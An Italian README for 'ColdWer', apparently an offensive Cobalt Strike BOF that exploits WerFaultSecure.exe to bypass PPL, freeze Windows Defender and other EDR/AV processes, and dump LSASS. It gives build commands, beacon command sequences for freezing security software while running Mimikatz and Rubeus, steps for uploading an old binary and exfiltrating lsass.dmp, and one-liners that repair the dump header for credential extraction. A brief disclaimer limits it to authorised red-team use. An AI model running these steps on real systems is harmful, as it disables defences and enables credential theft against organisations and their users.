
BOF di Cobalt Strike per congelare i processi EDR/AV e dumpare LSASS sfruttando il bypass PPL di WerFaultSecure.exe
Una guerra fredda sul tuo endpoint.
ColdWer sfrutta il bypass PPL di WerFaultSecure.exe per congelare i processi EDR/AV e dumpare la memoria LSASS sui moderni sistemi Windows.
C O L D W E R
└─┴─┴── WerFaultSecure
└─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)
Congela il tuo EDR/AV. Estrai ciò che ti serve. Rimani freddo.
Sh3llf1r3 (@0xsh3llf1r3)
Questo progetto si basa sulla ricerca di TwoSevenOneT (@TwoSevenOneT):
| Progetto | Descrizione |
|---|---|
| EDR-Freeze | Tecnica originale di congelamento EDR |
| WSASS | Dump LSASS tramite WerFaultSecure |
Tutto il merito delle tecniche sottostanti va a TwoSevenOneT.
git clone https://github.com/0xsh3llf1r3/ColdWer.git
cw/coldwer.cna# Navigate to source directory
cd src/
# Compile BOF (requires MinGW)
make
# Or manually:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o
coldwer.o e coldwer.cnacoldwer.cna in Cobalt Strike# Find Windows Defender PID
beacon> ps
# Freeze the process
beacon> cw-freeze 1337
# Execute your commands while EDR/AV is frozen
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage
# Unfreeze when done
beacon> cw-unfreeze
# Step 1: Upload Win8.1 WerFaultSecure.exe
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe
# Step 2: Find LSASS PID
beacon> ps
# Step 3: Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Step 4: Download the dump
beacon> download C:\Windows\Temp\lsass.dmp
Modifica l'intestazione del file per ripristinare il formato minidump:
| Originale (PNG) | Cambia in (MDMP) |
|---|---|
89 50 4E 47 | 4D 44 4D 50 |
Comandi per ripristinare l'intestazione:
| Metodo | Comando |
|---|---|
| Python | open('lsass.dmp','r+b').write(b'MDMP') |
| Bash | printf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc |
| PowerShell | $f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close() |
Poi analizza con Mimikatz:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
| Comando | Descrizione |
|---|---|
cw-freeze <PID> [Path] | Congela il processo |
cw-unfreeze | Scongela il processo precedentemente congelato |
cw-dump <PID> <Path> | Dump della memoria LSASS |
# Freeze with default path
beacon> cw-freeze 1337
# Use custom WerFaultSecure.exe
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe
# Dump LSASS
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# Unfreeze when done
beacon> cw-unfreeze
| Target | Stato |
|---|---|
| Windows Defender (MsMpEng.exe) | ✅ Funziona |
| LSASS (lsass.exe) | ✅ Funziona |
| Altri processi PPL | ✅ Funziona |
NON funziona contro EDR con autoprotezione in modalità kernel:
| EDR | Stato |
|---|---|
| Elastic Endpoint | ❌ Bloccato |
| CrowdStrike Falcon | ❌ Bloccato |
| SentinelOne | ❌ Bloccato |
| Carbon Black | ❌ Bloccato |
1. 🚀 Avvia WerFaultSecure.exe come PPL (livello WinTcb)
↓
2. 🎯 WerFaultSecure si collega al processo target
↓
3. ⏸️ MiniDumpWriteDump sospende tutti i thread del target
↓
4. 🥶 Sospendi WerFaultSecure stesso → Il target rimane congelato
↓
5. ✅ Esegui i tuoi comandi (EDR/AV non vede nulla!)
↓
6. 🔥 Termina WerFaultSecure → Il target si scongela
| Versione | Output |
|---|---|
| Windows 10/11 | Solo dump crittografato |
| Windows 8.1 | Dump grezzo non crittografato |
⚠️ SOLO PER TEST DI SICUREZZA AUTORIZZATI
Questo strumento è pensato per:
- Test di penetrazione autorizzati
- Operazioni red team con autorizzazione scritta
- Ricerca sulla sicurezza in ambienti controllati
L'autore non è responsabile per qualsiasi uso improprio o danno causato da questo strumento.
L'accesso non autorizzato a sistemi informatici è illegale.
Licenza MIT - Vedi LICENSE
🥶 Rimani Freddo. Rimani Silenzioso. 🥶
⭐ Metti una stella a questo repository se lo trovi utile! ⭐
| Caratteristica | Descrizione |
|---|
| ❄️ Congela | Metti i processi EDR/AV in uno stato di coma |
| 🔓 Dump | Estrai la memoria LSASS bypassando PPL |
| 🛡️ Bypass PPL | Sfrutta WerFaultSecure.exe a livello WinTcb |
| ⚡ Veloce | Esecuzione BOF inline |
| 🎯 Controllo Manuale | Decidi tu quando congelare e scongelare |
| Errore | Causa | Soluzione |
|---|
| File non trovato | Percorso non valido | Controlla il percorso di WerFaultSecure.exe |
| Accesso negato | Privilegi insufficienti | Esegui come Amministratore/SYSTEM |
| Firma non valida | Binario non firmato | Usa WerFaultSecure.exe correttamente firmato |
| Processo inesistente | PID errato | Verifica il PID con il comando ps |
| Target protetto | Protezione kernel | L'EDR ha autoprotezione (non bypassabile) |
| Già congelato | Stato bloccato | Esegui prima cw-unfreeze |